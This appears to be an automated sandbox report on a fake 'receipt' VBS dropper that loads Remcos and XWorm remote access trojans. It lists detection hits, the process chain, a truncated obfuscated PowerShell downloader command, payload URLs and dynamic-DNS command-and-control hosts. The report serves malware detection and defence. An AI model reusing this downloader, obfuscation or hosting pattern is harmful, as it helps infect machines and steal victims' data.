Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Tapril-30-receipt.vbs", ProcessId: 7508, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDg

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Stealing of Sensitive Information

Sigma detected: Remcos

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, ProcessId: 3672, TargetFilename: C:\ProgramData\remcos\logs.dat

Snort Signatures

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 - Source IP: 185.184.154.65 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:38:02.481695
SID:	2020424
Source Port:	443
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2 - Source IP: 12.221.146.138 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:39:04.361048
SID:	2852874
Source Port:	8450
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Windows executable base64 encoded - Source IP: 172.67.215.45 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:37:54.303553
SID:	2018856
Source Port:	443
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Powershell commands sent B64 2 - Source IP: 172.67.215.45 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:37:54.598540
SID:	2025011
Source Port:	443
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1 - Source IP: 185.184.154.65 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:38:02.481695
SID:	2020423
Source Port:	443
Destination Port:	49754
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 12.221.146.138

Timestamp:	05/01/24-08:37:52.563193
SID:	2855924
Source Port:	49743
Destination Port:	8450
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Generic AsyncRAT Style SSL Cert - Source IP: 12.221.146.138 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:38:09.396778
SID:	2035595
Source Port:	8500
Destination Port:	49758
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Base64 Encoded MZ In Image - Source IP: 172.67.215.45 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:37:54.303553
SID:	2047750
Source Port:	443
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Malicious Base64 Encoded Payload In Image - Source IP: 172.67.215.45 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:37:54.627049
SID:	2049038
Source Port:	443
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 12.221.146.138

Timestamp:	05/01/24-08:37:42.244044
SID:	2853193
Source Port:	49743
Destination Port:	8450
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1 - Source IP: 185.184.154.65 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:37:10.999752
SID:	2020423
Source Port:	443
Destination Port:	49742
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes - Source IP: 12.221.146.138 - Destination IP: 192.168.2.4

Timestamp:	05/01/24-08:39:04.361048
SID:	2852870
Source Port:	8450
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://geoplugin.net/json.gp

URL Reputation: Label: phishing

Multi AV Scanner detection for domain / URL

Source: aprilxrwonew8450.duckdns.org	Virustotal: Detection: 9%	Perma Link
Source: uploaddeimagens.com.br	Virustotal: Detection: 6%	Perma Link
Source: https://uploaddeimagens.com.br	Virustotal: Detection: 6%	Perma Link
Source: https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029	Virustotal: Detection: 14%	Perma Link
Source: https://staygeraldine.nz/cs/reccc.txt	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: Tapril-30-receipt.vbs	ReversingLabs: Detection: 21%
Source: Tapril-30-receipt.vbs	Virustotal: Detection: 19%			Perma Link

Yara detected Remcos RAT

Source: Yara match

File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.45:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.184.154.65:443 -> 192.168.2.4:49755 version: TLS 1.2

Spreading

Yara detected VBS Downloader Generic

Source: Yara match	File source: Tapril-30-receipt.vbs, type: SAMPLE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\fbshgr.vbe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\oahxgk.vbs, type: DROPPED

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2020423 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1 185.184.154.65:443 -> 192.168.2.4:49742
Source: Traffic	Snort IDS: 2047750 ET TROJAN Base64 Encoded MZ In Image 172.67.215.45:443 -> 192.168.2.4:49752
Source: Traffic	Snort IDS: 2018856 ET TROJAN Windows executable base64 encoded 172.67.215.45:443 -> 192.168.2.4:49752
Source: Traffic	Snort IDS: 2025011 ET TROJAN Powershell commands sent B64 2 172.67.215.45:443 -> 192.168.2.4:49752
Source: Traffic	Snort IDS: 2049038 ET TROJAN Malicious Base64 Encoded Payload In Image 172.67.215.45:443 -> 192.168.2.4:49752
Source: Traffic	Snort IDS: 2020423 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 1 M1 185.184.154.65:443 -> 192.168.2.4:49754
Source: Traffic	Snort IDS: 2020424 ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 185.184.154.65:443 -> 192.168.2.4:49754
Source: Traffic	Snort IDS: 2852874 ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2 12.221.146.138:8450 -> 192.168.2.4:49743
Source: Traffic	Snort IDS: 2852870 ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes 12.221.146.138:8450 -> 192.168.2.4:49743
Source: Traffic	Snort IDS: 2853193 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49743 -> 12.221.146.138:8450
Source: Traffic	Snort IDS: 2855924 ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound 192.168.2.4:49743 -> 12.221.146.138:8450
Source: Traffic	Snort IDS: 2035595 ET TROJAN Generic AsyncRAT Style SSL Cert 12.221.146.138:8500 -> 192.168.2.4:49758

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 172.67.19.24 443

Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 12.221.146.138 ports 8100,8500,8450,0,4,5,8

Uses dynamic DNS services

Source: unknown	DNS query: name: hvaprinew850.duckdns.org
Source: unknown	DNS query: name: remco8100.duckdns.org
Source: unknown	DNS query: name: aprilxrwonew8450.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.4:49743 -> 12.221.146.138:8450

Source: osma.vbs.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: osma.vbs.7.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
Source: ova.vbs.21.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
Source: ova.vbs.21.dr	Binary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4

Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /cs/xwapri.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /cs/reccc.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cs/HVAPRIL.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 185.184.154.65 185.184.154.65
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 12.221.146.138 12.221.146.138
Source: Joe Sandbox View	IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View	ASN Name: DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU
Source: Joe Sandbox View	ASN Name: ATT-INTERNET4US ATT-INTERNET4US

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /raw/zQdp8jhj HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/eEY9exCe HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KiVfSXMq HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/zQdp8jhj HTTP/1.1Accept: /Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /cs/xwapri.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/eEY9exCe HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/KiVfSXMq HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /images/004/773/797/original/new_image.jpg?1713882029 HTTP/1.1Host: uploaddeimagens.com.br
Source: global traffic	HTTP traffic detected: GET /cs/reccc.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cs/HVAPRIL.txt HTTP/1.1Host: staygeraldine.nzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: uploaddeimagens.com.br
Source: global traffic	DNS traffic detected: DNS query: staygeraldine.nz
Source: global traffic	DNS traffic detected: DNS query: aprilxrwonew8450.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: remco8100.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net
Source: global traffic	DNS traffic detected: DNS query: hvaprinew850.duckdns.org

Source: wscript.exe, 00000000.00000003.1863971146.000001C3F5C62000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647357148.000001C3F3DC9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647773406.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864003124.000001C3F3DAE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855411207.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866018644.000001C3F3DFC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866353799.000001C3F5C65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864323075.000001C3F3DD7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863420731.000001C3F3DFA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1862783631.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C7C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1865300591.000001C3F5C65000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1863781030.000001C3F3E52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647382977.000001C3F5C70000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866332730.000001C3F5C60000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1866102564.000001C3F3E52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864289608.000001C3F5C90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647688430.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864053875.000001C3F3DC9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647412566.000001C3F3DD7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspx
Source: wscript.exe, 0000000B.00000002.2508473121.000000000279E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2488334670.000000000279E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspx&
Source: wscript.exe, 0000000C.00000003.2493728855.0000000002D46000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.2514604768.0000000002D46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspx1
Source: wscript.exe, 00000000.00000003.1647951336.000001C3F5C6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647746112.000001C3F5C64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspx_Gen
Source: wscript.exe, 00000000.00000003.1647773406.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1855411207.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1856483618.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1862783631.000001C3F5C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1864289608.000001C3F5C90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1647688430.000001C3F5C8E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239689570.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239764275.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237881294.0000000004A40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237816496.0000000004A40000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2487931840.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2237921978.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2500231000.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2239108798.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2486858229.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2485015419.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2238346257.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2238891411.0000000004A41000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2239781243.0000000004F50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2489300119.0000000004F3F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2486802582.0000000004F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://app01.system.com.br/RDWeb/Pages/login.aspxd
Source: powershell.exe, 00000002.00000002.3005878535.000001C2F3870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000014.00000002.3174766864.00000000071B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftx
Source: powershell.exe, 00000013.00000002.2667964650.00000000035B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microu
Source: powershell.exe, 00000002.00000002.2992946262.000001C2F36C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: powershell.exe, 00000002.00000002.2864981895.000001C2DB541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2685682373.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000013.00000002.3197838373.0000000008CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://staygeraldine.nz
Source: powershell.exe, 00000002.00000002.2864981895.000001C2DB4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000002.00000002.2864981895.000001C2DB520000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000013.00000002.2685682373.0000000005321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2684643914.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBsq
Source: powershell.exe, 00000002.00000002.2992946262.000001C2F36FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.coB
